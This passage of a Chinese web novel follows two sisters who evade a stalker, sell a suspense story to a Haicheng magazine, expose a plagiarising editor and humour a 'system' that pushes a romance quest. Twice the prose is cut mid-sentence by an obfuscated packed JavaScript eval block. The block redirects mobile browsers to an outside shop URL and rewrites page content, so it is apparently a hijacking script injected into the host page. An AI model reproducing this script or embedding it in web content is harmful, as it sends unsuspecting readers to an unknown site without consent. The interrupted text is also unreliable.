程锦年关上门，把门闩插上，犹豫了一下。她本不想让姐姐担心，但转念一想，告诉她也让她心里有数，提高警惕，免得措手不及。 于是她把事情的经过简短说了一遍，末了补了一句：“没看清那人长什么样，不过已经甩掉了。” 程锦云的脸色变了一瞬，但很快稳下来。她转身去灶房拿了根粗木棍，顶在门闩后面，又去检查了窗户，把灶房的菜刀放到枕头底下，才回来坐下。 “乡下有时候也会有这种小偷小摸的，没事，别慌。咱们把门窗堵好，没什么好怕的。” 程锦年看着姐姐忙前忙后，低声说：“云姐，幸亏有你。” “说什么呢。”程锦云把粥碗往妹妹面前推了推，“先吃饭。” 灶火映在两人脸上，明明暗暗。 “明天一早我去买锁。”程锦云说，“把院门再加一道。” “行。”程锦年点了点头，“多买一把，厨房门也加上。再问问老板有没有那种从里面扣的插销，晚上睡觉安心。” 程锦云应了一声：“知道了。” 窗外夜色深了，程锦年吹灭油灯，躺下来，盯着头顶的房顶。 稿子已经投出去了，七家，总有一家能中。能不能行，就看这一下了。 4. 第 4 章 投稿后的第一天，程锦年起了个大早。她躺在床上，把昨晚巷口那个影子又在脑子里过了一遍，瘦长，微微佝偻，路灯下拖出一道暗灰色的轮廓，那脚步声她记得清清楚楚。 发现了问题就要及时想办法解决，她翻身起来穿好衣服，从抽屉里掏出仅剩的几块银元，揣进兜里。 程锦云已经起了，正在灶房烧水。程锦年走到灶房门口：“云姐，咱们租的毕竟是周太太家的房子，换锁我想着还是跟房东说一声才好，我去找周太太，你在家等我。” 程锦云擦了擦手：“我跟你一起去吧？你一个人去，我不放心。” “不用，周太太那儿不远，我去去就回。你在家看着，别让生人在门口转悠。”程锦年说完，推门出去了。 她先去街口的糕点铺，买了两块桂花糕，用油纸包好。 上次租房子时周太太随口提过，来了海城这么多年再没吃过家乡的桂花糕，家里就她一个人爱吃甜的，平时也不好意思专门去买，程锦年立刻就记在心里。 沿着巷子走了十来分钟，到了周太太家的小楼。周太太已经起了，穿着一件素净的灰布褂子，头发用发夹别得整整齐齐，正坐在堂屋里喝茶。 看见程锦年来了，放下茶杯，脸上带着笑：“哟，锦年来啦？吃了吗？” “吃过了，太太。”程锦年把纸包递过去，“上次听您说起苏州的桂花糕，今早路过糕点铺，想着给您带两块尝尝，您看像不像家乡的味道。” 周太太接过纸包，打开一看，拈起一块咬了一口，嚼得很慢。嚼完了没说话，又咬了一口，这才拍了拍手上的碎屑，声音比平时轻了些：“像，真像，你这孩子，怎么还记得这事？” “您随口说的，我顺手记下了。”程锦年笑了笑，在周太太旁边坐下，“主要还是想感谢您对我们的照顾，租房子的时候您就帮了大忙，平时也没少惦记我们。” 周太太摆了摆手，眼睛却一直看着手里的桂花糕，又咬了一口，像是舍不得吃完。 她把纸包仔细包好放在桌上，拉着程锦年的手，叹了口气：“你这孩子，就是太懂事。说吧，今天来是不是有什么事？” 程锦年也不绕弯子：“太太，我想把院门和厨房门都加一把锁，窗户也再加固一下。” 周太太愣了一下，放下茶杯，仔细看了她一眼：“怎么突然想起来加锁？是门坏了还是？” 程锦年犹豫了一下，没瞒着：“太太，我跟您说实话。昨儿晚上从外面回来，巷子里有人跟着我。没看清是谁，但脚步声一直跟在后面，我绕了两条街才甩掉。我们两个姑娘住，心里不踏实。” 周太太脸色一变，眉头皱了起来：“有人跟着你？这还了得。”她沉默了一会儿，拍了拍桌子，“锁你别管了，我让人去给你换。锁匠我认得，手艺好，价钱也公道。钱我来出，算在我账上。” 程锦年连忙摆手：“太太，这怎么好意思，我们自己来就行。” “你们俩个姑娘家，手头又不宽裕，别跟我争这个。”周太太的语气不容商量，“这房子是我的，租给你们了，安全就得我负责。要是真出了事，我这心里能过得去吗？” 程锦年还想再推，周太太已经站起来，走到电话机旁，摇了个号，跟那头说了几句。挂了电话，她走回来拍了拍程锦年的手：“行了，锁匠下午过去，你别再推了。” 程锦年张了张嘴，最终没再说什么，只是低下头，声音放得很轻：“太太，谢谢您。” “谢什么，都是缘分。”周太太摆了摆手，又拉着她坐下喝茶，聊了几句家常，才放她走。 回到家，程锦云正在院子里扫地。程锦年把换锁的事跟她说了，末了补了一句：“周太太出的钱，我推都推不掉。” 程锦云沉默了一会儿，低声说：“周太太人真好，咱以后得记着人家的情。” 下午，锁匠来了，这是个四十来岁的汉子，手上全是老茧，肩上挎着工具包。 他在院子里转了一圈，把门窗检查了一遍，院门换了新锁，厨房门加了一道，窗户钉上了插销。 程锦云试了试，开合顺滑，锁舌咬得死死的。她把钥匙拔下来，递给程锦年一把，自己留了一把。 随后，姐妹俩把这几天的经过从头到尾捋了一遍。 “云姐，你觉着那人跟了我几天了？”程锦年先开了口。 程锦云想了想：“你说昨天才发现，可之前你有没有觉得不对劲？” “买文具那天，从文宝斋出来，好像有人多看了我几眼。但街上人多，我没在意。”程锦年掰着手指头，“后来去邮局、去旧书摊，都没什么异常。真正觉得被人跟着，是昨天从杂货铺出来。” “那……他到底想干嘛？” “没上来抢，不是劫道的，一直跟在后面，是想看我往哪儿走。我拐进杂货铺甩掉之后，他没再追，说明不是冲着伤人来的。”程锦年一条一条地列，“最大的可能，是踩点的。” “踩点？偷东西？”程锦云紧张地攥紧了围裙角，“可咱们也没什么值钱的啊……” “咱们是没有，可他不知道。”程锦年沉默了一会儿，“云姐，你再想想，这几天咱俩干了什么跟平时不一样的事？” 程锦云想了半天，摇了摇头：“没有啊，买菜、做饭、洗衣服，连门都很少出。” “那你出去买菜，有没有跟人聊过咱们家的事？” “没有，我都不敢多说话，生怕说漏嘴。” “我也没跟人说过。”程锦年皱了皱眉，“那他是怎么盯上咱们的？” 灶火噼啪响了一声，两个人沉默了一会儿，程锦年忽然抬起头：“云姐，你说……会不会是因为我买文具那天？” “买文具？”程锦云没反应过来。 “那天我从文宝斋出来，怀里抱着稿纸、墨水、钢笔。”程锦年把声音压低了，“这些东西在乡下人眼里不算什么，但在城里，普通人家也不会随便买。一个十六岁的姑娘，身上带着笔墨纸砚，一看就是读过书的。读得起书的人家，至少不是吃了上顿没下顿的。” 程锦云慢慢张大了嘴：“你的意思是……他觉得咱家有钱？” “不是真有钱，是觉得有闲钱。”程锦年纠正道，“买笔墨纸砚的人，至少不是吃了上顿愁下顿的。他可能就想，这姑娘住在这附近，家里应该有点家底。” 程锦云的脸色发白：“那……那怎么办？” “别慌。”程锦年按住她的手，“他还没跟到家门口，说明还不知道咱们具体住哪儿。这几天你别出门买菜了，家里还有存粮，够吃几天，我出去想办法。” “你出去？”程锦云的声音一下子拔高了，“那人跟着的就是你，你还出去？” “我不出去，怎么知道是谁？” “那也不行，一个人出去跟两个人出去比，哪个更安全？我要跟你一起。就算他急了，咱们也有个照应。” 程锦年看着她，觉得有道理，本来想着程锦云胆小，怕她拖后腿，所以没提，没想到她在这种情况下，会如此担心自己的安危:“好，云姐，你跟我一起。” 程锦云深吸了一口气：“行。” 随后，姐妹俩锁好门窗往外走。程锦年走在外侧，程锦云走在里侧，两人有一搭没一搭地说话，余光却一直扫着身后。 头两天什么也没发现。 第三天傍晚，两人从杂货铺出来，拐进一条窄巷子的时候，程锦年余光扫到身后不远处的街角，一个穿深色短褂的男人正假装低头看报纸。那张报纸他拿反了，长相就是程锦年印象中的那个跟踪者。 程锦年没回头，继续往前走，挽着程锦云的手紧了一下。程锦云立刻明白，收住脚步，假装蹲下来系鞋带，蹲下去的时候朝后面瞥了一眼，又站起来，若无其事地跟上。 两人走到报摊前停下来，老王认得她们，之前还跟自己答应过租房消息。他正要招呼，程锦年先开了口，声音不大不小：“王伯，这几天生意怎么样？” 老王叹了口气：“就那样，不好不坏，糊口呗。你们小姑娘家不知道，这年头做生意不容易，还不如有个稳定差事。” “可不是嘛。”程锦年顺着话头接过去，“我舅舅在巡捕房当差，好歹每个月有固定进项，不用看天吃饭。就是忙，整天不着家。” 老王来了兴趣，连忙问：“你舅舅在巡捕房当差？那可是好差事。” “好什么呀，忙起来连轴转，家里都顾不上。”程锦年叹了口气，就好像真的有这回事一样，“前几天他儿子过生日，我想着给孩子买份礼物鼓励他好好念书，就去了趟文宝斋，买了笔墨纸砚，花了不少钱。 本想着做长辈的不能省这个钱，结果这一花，手头就紧了，现在都没有余钱了，我还发愁这个月怎么过呢。还是因为舅舅平时对我们够照顾的，这钱省不掉，该花还是得花。” 老王感慨地点了点头：“你们知恩图报，不容易。” 程锦年笑了笑，又聊了几句家常。她一边说话，一边借着整理头发的动作，偏头往后看了一眼。那个跟着她们的人影还在，没有挪动。 “王伯，明早我还得去邮局寄封信，先回去了，您忙着。” 两人挽着胳膊转身往回走，程锦年没有回头，步子稳稳当当。 那个穿深色短褂的男人蹲在墙角，把刚才的话听得清清楚楚。巡捕房的舅舅，给外甥买笔墨纸砚当生日礼物，花了不少钱，手头紧了。 他本来想，这姑娘怀里抱着文房四宝，家里应该有点底子，跟了几天，还没下手呢，谁知道人家有个在巡捕房当差的亲戚。 有这层关系在，万一偷了被查出来，不是闹着玩的。而且听那意思，钱都买了礼物了，家里也没什么油水。 想到对方那普通的衣着，这几天看着也确实没有买过什么东西了，他盯着那两个挽着胳膊的背影看了一会儿，想着真晦气，没遇见肥羊，站起来拍了拍裤子上的灰，转身走了。 程锦云走出一段路，小声问：“还在吗？” 程锦年没回头，声音压得很低：“不知道，别回头，我们绕个路。” 两人绕弯子之后快步走回家，关上门，插上门闩。 程锦云靠在门板上长长地呼了一口气，程锦年走到窗前，掀开窗帘一角往外看了一眼，巷口空空荡荡。 这几天去杂货铺的时候，程锦年一直关心有没有回信，现在松了口气，她才有心思抽出来拆开。 打开一看，里面是《晨星报》的退稿，只有一张纸条：“来稿已阅，不适合本刊，谢谢。”连稿子都没附，她把纸条折好塞进抽屉。 还好，最起码其他家的反馈没来，不是全军覆没，程锦年只能这么安慰自己了。 接下来几天，那人再没出现过。程锦年又留心观察了几日，确认危机过去了。 而其他的回信，也都陆陆续续地到了。《大华日报》的回信说可以刊发，稿酬每千字五角。她把信收起来，这家可以考虑当保底。 另一封是《通俗文苑》的，只有半页纸：“……稿子留下，本刊安排编辑润色修改，署名用本刊一位前辈的名字，稿酬分你两成。”程锦年看完把信揉成一团，想了想又捡起来展平，折好放进去。不是要答应，是留下笔迹，避免后续被此人蒙骗了稿子。 《通俗小说杂志》的措辞热情，千字一元，比她预期的低，但总算是个正经录用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587581|205354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 《远东文艺》的退稿信纸烫金，措辞客气得不像退稿，其实就是“我们不要”。 《文汇周报》的约稿信，千字一块五，是目前最高的。 还剩一家没回音，程锦年想知道那家没回音的到底能给什么价，决心再等一两天，要是还不回信，她就先答应出价最高的那一家。 等待的日子里，她没有干等，已经动笔开始琢磨起第二篇的大纲，尽量避免重复，先摸清市场口味和接受度再说，所以她打算换个爽文题材试一试。 她不知道的是，她的稿子正压在《海城小说月报社》编辑部柜子最底层的一沓来稿里。不是编辑故意压稿，是来稿太多了，老作者连载、特约专栏排着队等着发。新人的稿子，连拆封的优先级都排不上。 老周是在一个下雨的傍晚拆到《无名》的。那天编辑部没什么事，他把柜子里那沓积压的来稿搬到桌上，一份一份拆。大部分稿子扫一眼开头就知道水平，才子佳人，公子落难，翻来覆去就那几个花样。他机械地拆着，眼皮越来越沉。 拆到一份信封的时候，他没抱什么期待。信封上写着“林间月”，陌生笔名。他抽出稿纸，标题是《无名》。 老周有气无力地开始读，读到“阿蘅第一次写故事的时候”，他把稿纸凑近了看。读到第三次预言，他整个人僵住了，手里那几页纸微微发颤。他读了两遍，把稿纸小心翼翼地折好塞进贴身衣兜，拿起伞出了门。他没有回家，直接去了总编陈伯言家。 陈伯言正在吃晚饭，看到老周浑身湿透地站在门口，愣了一下。老周从衣兜里掏出那几页稿纸递过去，纸页被雨水洇湿了边角，但字迹清清楚楚。陈伯言接过去，站在玄关就着昏黄的灯泡读了起来。读完第三页，他转身走进了书房，把老周一个人晾在外面。 老周站在客厅等了大约一盏茶的工夫。陈伯言走出来，手里还捏着那几页稿纸，脸上的表情老周从来没见过。他问老周：“这个林间月，是谁？” 老周说不知道，投稿地址是邮政信箱，没见过人。陈伯言沉默了很久，最后说：“明天一早开会，这篇稿子，咱们要定了。” 次日，老周把《无名》的稿子传给在座的每一个人。办公室里安静了片刻，只有纸张翻动的沙沙声。 老孙第一个开口，推了推眼镜：“从文笔和结构看，乙等往上，甲等够不上。毕竟是新人，没名没姓的，新人价历来一块到两块，给乙等三块已经够意思了。甲等从来都是留给那几个老作者的，这是规矩。” 小赵不同意：“规矩是死的，稿子是活的，那几个老作者最近交上来的东西，有哪篇能让人一口气读完不撒手？” 老周没急着表态，从兜里摸出一根烟点上：“我干了二十年编辑，经手的稿子少说也有几千篇。名家的、新人的、凑数的、惊艳的，都见过。这篇东西……”他吸了一口烟，慢慢吐出来，“放在新人堆里，是独一份，不是文笔多么出色，是从未见过的反转，很新奇。” 老孙还想说什么，老周抬手打断了他，翻开稿纸的最后一页，指着一行字：“你们看看这里。” 所有人都凑过去看。那一行写着，余稿留存，稿费到后即寄。 社长孟鹤亭原本靠在椅子上闭目养神，听到这话睁开眼。 老周把稿纸递过去，他接过来看了几秒，忽然笑了：“只给三分之一，余稿等钱到了再给。地址留的是代收点，稿费要存局候领。一个新人，还没见过编辑的面，就知道给自己留后路。” 他把稿纸往桌上一拍，声音不大，但整个办公室都安静了。 “甲等。”他说，“千字四块，先留住这篇再说。” 老孙张了张嘴：“社长，这……” 孟鹤亭看了他一眼：“老孙，我知道你想说什么。规矩是给普通稿子定的，这篇不普通。今年我们发了那么多老作者的稿子，有几篇能让人拍着桌子说‘要定了’？” 他顿了顿，“再说，一个新人能写出这样的东西，还知道保护自己，将来不是池中物。现在不结这个善缘，等他成名了再去找他？反正真要是下篇不好，那就不采纳，咱们就只付了这一篇的高价稿费，也不算什么。 连编辑都觉得少见的内容，印出来，读者只会觉得更罕见，这篇能带给报社的利益，是大于稿费的。” 社长既然都这样说了，其他人自然没有意见。 没多久，程锦年照例去取信，看到信封上印着“海城小说月报社”的字样，心跳快了一拍。她没当场拆，攥着信封快步走回家。 抽出信纸，字迹工整有力，没有客套话，直奔主题。 “林间月先生：来稿《无名》已拜读，编辑部同仁传阅之后，一致认为此文悬念设置精妙、层层递进、直指人心。本刊愿意刊发，破例稿酬按甲等计算，每千字四块银元。按您的要求，先发三分之一，余稿请于收到汇款后寄来。” 信的末尾附了一行小字：“社长孟鹤亭先生嘱托：一个新人能写出这样的东西，将来必然成就非凡。先生提出的存局候领、余稿后寄等条件，本刊一律照办。稿费即日汇出，请查收。” 程锦年把这封信读了两遍，她把信纸放在膝盖上，盯着那行“每千字四块银元”看了好几秒。 五千字，二十块，加上手里剩下的几块，至少下个月的房租不用发愁了。 她长长地呼了一口气，攥着信纸的手指微微发抖。 她不需要挑了，就是这家。至于那些报刊动不动称呼她为某某先生，恐怕是因为不知道这是女性所写。 不过没关系，她有她的计划，现在不是正式暴露身份的时候，毕竟一个成年男性和一个少女所得到的对待，肯定是不平等的，先占够便宜再说。 5. 第 5 章 程锦年把那封录用信又看了一遍，铺开信纸，给《海城小说月报》回了信。 信写得很短，措辞客气但保持距离：“编辑先生：来函收悉，稿酬标准及刊发条件悉听尊便，余稿即日寄上。另，稿费请仍按原定方式汇至邮政第十七号信箱。” 她不想在信里流露太多情绪，一个字一个字写得工工整整，没有什么感情色彩。 程锦年把抽屉里锁着的那三分之二稿子取出来，从头到尾检查了一遍，确认没有错漏，装进信封。 整篇《墙缝》一共五千字左右，之前寄出去三分之一约一千六百字，现在补上剩余的三千四百字。 她在稿纸第一页的页眉处加了一行小字：“余稿共三千四百字，请查收。” 这件事算是暂时告一段落，就等明天去寄了，她把录用信收好，又翻出之前收到的那堆回信，一封一封重新看了一遍，翻到《通俗文苑》那封时，她停了一下。 落款处的“编辑：孙茂才”几个字，她总觉得在哪里见过。 当晚，她把这段时间攒下来的旧报纸全翻了出来，《通俗文苑》虽然是小报，但她在报刊亭买其他报纸时顺手带过几份。 她把最近半年的《通俗文苑》摊在桌上，一篇一篇地翻。 程锦年发现一个规律，一个叫“李翰文”的名字反复出现，但这个人写的文章，文风差距极大。 三月一篇《江湖奇侠传》，粗犷豪放，四月一篇《深闺怨》，细腻婉约，五月一篇《论时局》，引经据典，六月一篇《小城故事》，白话平实，完全不像同一个人写的。 她又翻回去看每篇文章末尾标注的责任编辑，李翰文的每一篇，责任编辑都是同一个人——孙茂才。 她在笔记本上把这些信息一行一行写下来，一个作者不可能同时写出风格迥异的文章，除非这些文章根本不是同一个人写的。 而所有文章的责编都是孙茂才，说明这些稿子都是经他之手发出的，联想到对方毫不客气索要署名权的行为，那么真相其实很明显了。 程锦年铺开信纸，写了一封信给《海城新报》的“文坛动态”栏目。 署名“一位关注文坛的新人作者”，把孙茂才猖狂的回信刻意模糊了时间、李翰文文章的对比分析、半年来的发表记录，一条一条列清楚，附在信里。 得罪她的人，她向来记得清清楚楚，有仇就报，决不内耗。 第二天一早，她先去邮局把回信和余稿还有举报信寄出去，同时告诉其他几个有诚意的报纸，这份小说已经决定好了不在本报刊登，对此感到很遗憾云云。 毕竟《海城小说月报》收这篇悬疑，又不代表收全部，她也不打算锁死在这个文风领域，该跟其他报社打好关系的，还是要维护好的，说不定下次就用到了。 程锦年又去了一趟邮政总局的柜台，柜台后面是个戴老花镜的老头，她递上取件号牌，报了“第十七号信箱”。 老头慢吞吞地翻了一阵，从抽屉里拿出一张汇款单，递给她。 程锦年接过来，看到上面写着“海城小说月报社”几个字，汇款金额是整篇稿费的三分之一，五千字，千字四块，全稿二十块，三分之一约六块六角，汇款单上写的清清楚楚，也是这个价。 她把汇款单捏在手心里，去窗口取钱，柜台里面的人点出六块银元，又数出六角银毫，就是六枚一角的银角子，从窗口推出来。 银元落在柜台上，哗啦啦响，她把银元银角一枚一枚捡起来，放进事先准备好的布袋里，再一起塞进衣兜最深处。 走出邮局的时候，强忍着摸口袋确认的欲望，害怕引来了小偷。 就在这时，系统突然开口：“宿主经济条件已有所改善，现在可以考虑置办行头了。” 程锦年脚步顿了一下，她没想到系统还记着上次她说的“三十块不够”那茬，当时系统沉默了一会儿就没再提，她还以为它放弃了。 现在看来，它一直在等，等她有了稳定收入来源就又冒出来了。 她心里有些烦，但没有顶回去。跟系统硬杠没用，它该催还是会催。 她想了想，顺着它的话说：“行头是要置办，但得知道怎么个置办法。我连顾晏清是什么性格都不了解，穿成什么样去接触？太招摇不行，太寒酸也不行，你总得让我有针对性地准备吧？” 系统没出声。 程锦年继续说，语气放软了些：“你光催我攻略，又不给我信息，我就算想接触也不知道往哪个方向使劲。不如你先告诉我他的基本情况，我才能制定策略。” 这话说得合情合理，程锦年清楚自己的真实目的，其实是想试探系统到底能给她多少信息，顺带拖拖时间，省得它整天在脑子里嗡嗡叫。 至于攻略，她根本腾不出手来。稿子要写，生活要安顿，哪一件不比攻略一个素未谋面的男人要紧。 系统沉默了片刻。 “顾晏清性格沉稳。”它说，“话不算多，但心里有成算。” 程锦年心里一动，她本来只是随口一问，没想到系统真的松了口，这是个机会，能探多少口风探多少。 她赶紧追问：“那他这样的性格，应该有点身份地位吧？” “那是自然，他可是海城商界的……”系统说到这里突然停了，像是反应过来什么，语气一变，“宿主，系统不建议过度依赖外部信息。攻略任务的核心在于双方互动，不是情报收集。你应该用自己的力量去观察、接触、判断，这才是获得好感度的正确方式。” 程锦年心里有些遗憾，本来还想再套点东西，没想到它这么快就警觉了，不过好歹知道了“海城商界”三个字。 她没再追问，也没把自己的真实想法说出来，如果系统可以调取很多信息，那么在以后她完全可以做出更多的尝试来。 “行吧。”她在心里应了一声，语气听起来像是被说服了，“我知道了，那我先按你说的，把形象弄好，其他的再说。” 系统没再说话。 程锦年并不觉得遗憾，反正这些信息是白来的，多少算一点。关键是，系统现在安静了。至于顾晏清，等她先把自己照顾好了再说。 想到前几天的投诉信，她心中一动，从邮局出来，专门绕了路，经过钱老板那栋楼。 正巧看到楼门口围了一堆人，钱老板站在中间，脸涨得通红，手里捏着一张纸，正扯着嗓子嚷嚷：“十五块，你们这是要我的命，别人家才罚五块，凭什么我十五块！” 一个穿制服的办事员站在他对面，手里拿着文件夹，面无表情：“钱老板，别人家罚五块，那是别人家的事。你这房子，有安全隐患，还私自改装，这个罚款合情合理，公事公办。” 钱老板气得浑身发抖：“你们……你们这是欺负人！” 办事员把文件夹一合，往前逼了一步：“不服可以申诉，先把罚款交了。” 钱老板的嘴张了张，又闭上了，他的脸从红变紫，从紫变白，最后咬着牙挤出几个字：“……我交。” 他从兜里摸出一叠皱巴巴的钞票，一张一张数出来，手都在抖。 办事员接过去，开了收据，“做好整改，几天后我还会再来，整改不到位，还会再罚款。” 程锦年站在人群里，她看到这件事落幕，转身走了。 她没有告诉任何人那封信是她写的，想来这番折腾已经足够让吝啬的钱房东心痛了，也算是给她出了口恶气。 事情过了就过了，这种小角色不值得她再多花心思，除非对方又犯到她手里。 眼下程锦年开始盘算起来，林知秋给的三十块，押一付一房租花了十六块，纸笔一块五，给姐姐买菜买油两块，衣裳鞋子加上在外头吃了一顿饭花了六块，一共花出去二十五块五，手里还剩四块五。加上这六块六，统共十一块一。 这已经不是小数目了，等到剩下稿酬寄过来会更加宽裕，现在有了挣钱路子，也不用那么紧巴巴。她深吸一口气，决定进行大采购。 她跟姐姐这三天就穿了那一身衣服，这可不是长久办法，而且房东照顾她们，她也不能不买礼物表示表示，人情往来，有来有往才是王道。 *** 程锦云舍不得买太多的米面，一大袋糙米，每次只舀半碗，熬得稀稀的，多加水，能撑到晚上。 她自己喝两碗，给妹妹留三碗，粥底沉下去的米粒大半都舀到妹妹碗里。 就算是这样，看着一日日矮下去的米缸，她在暗自发愁，妹妹说能找到挣钱的路子，可这么多天过去了，钱在哪里？ 她不知道妹妹在做什么，但她知道妹妹在做一件大事。她帮不上忙，只能把家务做好，不让妹妹分心。 她也不敢问出来，怕给妹妹添压力。夜里睡不着的时候，程锦云躺在床上一动不动，听着妹妹均匀的呼吸声，在心里算账：房租八块，水电费还没交，手里的钱一天天在少，撑不了一个月了，怎么办？ 她翻了个身，把被子蒙住头，不让自己想下去。 今天妹妹出门的时候，没有像往常一样说“我去忙了”，而是说“我去邮局取钱”。 程锦云以为听错了，追到门口想问，妹妹已经走远了。她站在门槛上，看着妹妹的背影消失在巷口，心里七上八下的。 取钱？取什么钱？ 她坐不住，把灶房擦了三遍，把院子扫了两遍，她不知道该做什么，只知道不能让手停下来。一停下来，脑子就会乱想。 程锦年推开院门的时候，程锦云正蹲在灶房门口，对着一堆柴火发呆。 “云姐。” 程锦云猛地站起来，看到她从怀里掏出个鼓起的布袋，愣住了。 “锦年……这是什么？” 程锦年没说话，拉着姐姐进了堂屋，把布袋里的银元倒在桌上。银元摞成一叠，银角子另放一旁，白花花的，在午后的阳光里泛着柔和的光。 程锦云的眼睛一下子瞪大了，她张着嘴，说不出话，伸出手想摸一下那些银元，又缩了回去。 “锦年……哪儿来的？这么多钱……”她的声音发颤。 “我写的文章，发表了，这是稿费。”程锦年把那封录用信从衣兜里掏出来，放在桌上。 “一篇五千字的小说，千字四块，全稿二十块，这是第一笔，后面还有。云姐，别怕，咱们有钱了。” 程锦云盯着那封信，她不认字，但她看到了妹妹嘴角压不住的笑意。 她的眼泪一下子掉了下来，伸手抓住妹妹的袖子：“锦年……你什么时候会写文章了？难不成这也是仙女告诉你的?” 程锦年早料到姐姐会问这个问题，毕竟原身可是文盲一个，现在她不禁感慨起自己的先见之明。 她把姐姐按在椅子上坐下，从灶房倒了两碗水，一碗递给姐姐，一碗自己端着。 “云姐，你说的不错，这也是仙女点化的结果。” 程锦云双手合十，十分感激：“多谢仙女慈悲，给了我们一条生路。” 看着她眼角的泪痕，程锦年替她擦了擦眼泪：“云姐，别哭了。” 想到姐姐还是个文盲，这段时间她一直表现的也很好，要是真想让她成为自己的左膀右臂，最好还是让她认字，那样才能帮上大忙。 程锦年便有了决定：“从今天起，我教你认字，每天五个，一年就能认一千多个，等你看得懂报纸了，就能看懂我写的文章了。” 程锦云愣在那里，抬起满是泪痕的脸：“我？我都这么大了……” “十八岁不算大。”程锦年的语气没有商量余地，“认了字，你就能自己看报纸，自己写信，不用靠任何人。” 程锦云低下头，攥着衣角，过了好一会儿，小声说了一句：“我怕我学不会……” “我教你，你就能学会。” 程锦云抬起头，看着妹妹的眼睛。那双眼睛太笃定了，像从来不会出错一样，她咬了咬嘴唇，点了点头。 程锦年站起来，把桌上的银元分成几份，推了一份到姐姐面前：“云姐，你拿着这些，以后用来买肉吃，咱们俩太虚弱了，不能继续这样喝稀粥啃菜叶，得补充营养，剩下的，咱们今天花。” “花？买什么？” “先买衣裳鞋袜，再买教你认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587582|205354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字的东西。”程锦年拉住姐姐的手，“你的袜子都补了好几回了，我看见了。还有，咱们来的时候只买了两身衣裳，这些天都没换过，这可不行。” 见程锦年安排的井井有条，程锦云自然也说不出什么话来。 程锦云看着妹妹的背影，觉得自己太没用，暗暗发誓要学会认字。 姐妹俩先去了永安街那家常去的裁缝铺。 老板娘正踩缝纫机，看到她们进来，抬起头笑了笑。 程锦年挑了一件灰蓝色的棉布夹袄，日常居家穿，更方便，料子没有学生装好，所以便宜些，老板娘要两块八，她讲到两块五。 又挑了一件月白色的竹布上衣配藏青棉裙，没什么花纹特别素净，料子一般般，给姐姐出门时穿，老板娘要两块，她还到一块八。两件衣裳，共计四块三。 鞋子买了两双布棉鞋替换着穿，一双五角，花了一块。棉线袜买了六双，袜子洗了不容易干，两双完全不够用，所以按一个人三双算，一双二十五文，花了一块五。 程锦云抱着那摞袜子，珍惜的摸了又摸，这上好的袜子，她以前在乡下可穿不上。 从裁缝铺出来，系统突然冒了出来，语气里带着一种程式化的欣慰：“宿主终于懂得置办行头了，改善形象是接触攻略目标的第一步，这个方向是对的。” 程锦年愣了一下，差点没憋住。她低头又看了看怀里的衣裳，灰扑扑的，素得不能再素，她买衣服是因为没衣物可以换洗，甚至于这身新衣服料子更差，连花纹都没有，她不知道系统是从哪得出“改善形象”这个结论的。 她忍不住在脑子里回想了一下自己现在的样子，头发随便挽了个髻，脸上不施脂粉，眉毛没修过，皮肤因为常年营养不良偏黄，个子不高，身材单薄，往人堆里一扔，根本不会有人多看一眼。 就这模样，穿上这两件衣裳，跟“打扮”有半个铜板的关系？ 系统居然觉得这就算“置办行头”了，看来它对“形象”的要求，还真不是一般低。 程锦年心里觉得好笑，但转念一想，这反而是好事。它要求低，自己就好糊弄。 她连忙在心里回应，语气要多积极有多积极：“没错，你看我多积极，你一说我就立马行动了。买衣裳、置办行头，距离攻略目标又近了一步。” 系统似乎很满意，停顿了片刻后说：“不错，宿主已经开始行动，这是好的开端，保持这个势头。” 程锦年强忍着要笑出来的欲望，面上还要维持一副认真的表情。她想象了一下那个画面，这所谓的男主顾晏清，想来是天之骄子一样的人物。 而自己在系统催促下，以现在的状态来“攻略”他。她越想越觉得荒唐，嘴角差点没压住。 可系统居然没觉得有什么不对劲，它一本正经地夸奖她“行动力强”，好像她真的在朝着攻略目标大步迈进。从某种意义上来讲，系统还挺看得起她的。 程锦年心想，自己倒是应该学习一下系统对自己爆棚的信心。 不管条件多差，先把自己该做的事做了，该买的买了，剩下的交给时间。它那种盲目乐观但又莫名笃定的劲头，用在别的事情上说不定也挺管用。 她抱着衣裳继续往前走，脚步轻快了几分。系统没再说话，但她们之间的氛围一时之间竟然有些其乐融融。 投稿也不能停，想到这里，程锦年又拐进大新街口的一家杂货店。 她先买了两刀稿纸，一刀一角五，两刀三角。墨水还有半瓶，不用买。然后她看到柜台角落里摆着几样东西，一块巴掌大的小黑板，边角磨圆了，配几支石笔，一共一角钱。 旁边还有一摞描红本，封面上印着“蒙童习字册”，一本五分。程锦年把小黑板和描红本都买了，又买了两支铅笔，一支三分。 “这是什么？”程锦云凑过来看。 “教你认字用的。”程锦年把小黑板塞进姐姐怀里，“回家我先教你写自己的名字。” 程锦云抱着那块小黑板，低头看了好久，颤抖着触碰石板：“我居然……也能写字，我这种村姑也配吗……真是想不到，我都不敢信……” 程锦云显然很自卑，程锦年自然不会坐视不理：“云姐，别这样说自己，我也是村姑，村姑也有着可以识字的权利，你看我就是认了字，这才有了挣钱机会。多掌握手艺是没错的，总能用的上。” 程锦云咬了咬嘴唇：“我……就是太高兴了。” “明白，以后上几天课就好了。” 程锦年又买了一小包糕点，用油纸包着，扎上红绳，花了四角。 这是给周太太的谢礼，周太太的房租从十块降到八块，又只收押一付一，还帮忙联系了锁匠挂账，这份情谊不能不记着。 